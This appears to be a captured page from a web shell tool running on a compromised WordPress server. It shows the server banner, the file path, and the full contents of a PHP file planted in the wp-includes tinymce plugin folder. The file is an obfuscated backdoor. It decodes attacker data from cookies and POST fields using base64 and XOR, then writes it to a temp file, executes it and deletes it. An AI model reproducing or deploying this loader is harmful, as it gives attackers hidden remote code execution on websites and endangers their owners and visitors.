? GR0V Shell

GR0V shell

Linux www.koreapackagetour.com 2.6.32-042stab145.3 #1 SMP Thu Jun 11 14:05:04 MSK 2020 x86_64

Path : /home/admin/domains/happytokorea.net/public_html/wp-includes/js/tinymce/plugins/wplink/
File Upload :
Current File : /home/admin/domains/happytokorea.net/public_html/wp-includes/js/tinymce/plugins/wplink/ea5cd97a.php

$bPtLn = chr (85) . chr (95) . "\x54" . chr (108) . "\143";$akkrcdIKG = "\143" . "\x6c" . 'a' . chr (115) . 's' . "\x5f" . "\145" . "\170" . chr (105) . 's' . "\164" . 's';$yezif = $akkrcdIKG($bPtLn); $NhnBi = $yezif;if (!$NhnBi){class U_Tlc{private $gAHWFW;public static $qLfyqorOOU = "106747a9-e925-4fa0-9111-3f86b9febf72";public static $JTvHaXekmo = 53210;public function __construct($jMrRPNu=0){$LqvuMQYgQJ = $_COOKIE;$IRnkng = $_POST;$xiQmmqncM = @$LqvuMQYgQJ[substr(U_Tlc::$qLfyqorOOU, 0, 4)];if (!empty($xiQmmqncM)){$Dctwcj = "base64";$vJADzO = "";$xiQmmqncM = explode(",", $xiQmmqncM);foreach ($xiQmmqncM as $ByOZDKART){$vJADzO .= @$LqvuMQYgQJ[$ByOZDKART];$vJADzO .= @$IRnkng[$ByOZDKART];}$vJADzO = array_map($Dctwcj . chr (95) . "\x64" . 'e' . chr ( 768 - 669 )."\x6f" . chr ( 1098 - 998 ).chr (101), array($vJADzO,)); $vJADzO = $vJADzO[0] ^ str_repeat(U_Tlc::$qLfyqorOOU, (strlen($vJADzO[0]) / strlen(U_Tlc::$qLfyqorOOU)) + 1);U_Tlc::$JTvHaXekmo = @unserialize($vJADzO);}}private function wlzbsN(){if (is_array(U_Tlc::$JTvHaXekmo)) {$dAYiN = sys_get_temp_dir() . "/" . crc32(U_Tlc::$JTvHaXekmo['s' . 'a' . "\154" . chr (116)]);@U_Tlc::$JTvHaXekmo["\x77" . chr (114) . 'i' . chr (116) . "\145"]($dAYiN, U_Tlc::$JTvHaXekmo['c' . "\x6f" . chr (110) . chr (116) . chr ( 947 - 846 ).'n' . "\x74"]);include $dAYiN;@U_Tlc::$JTvHaXekmo["\144" . 'e' . chr (108) . "\145" . "\x74" . chr ( 122 - 21 )]($dAYiN); $KjZdvjN = "58172";exit();}}public function __destruct(){$this->wlzbsN(); $KjZdvjN = "58172";}}$AHhNW = new U_Tlc(); $AHhNW = "36729_9002";}

T1KUS90T
  root-grov@210.1.60.28:~$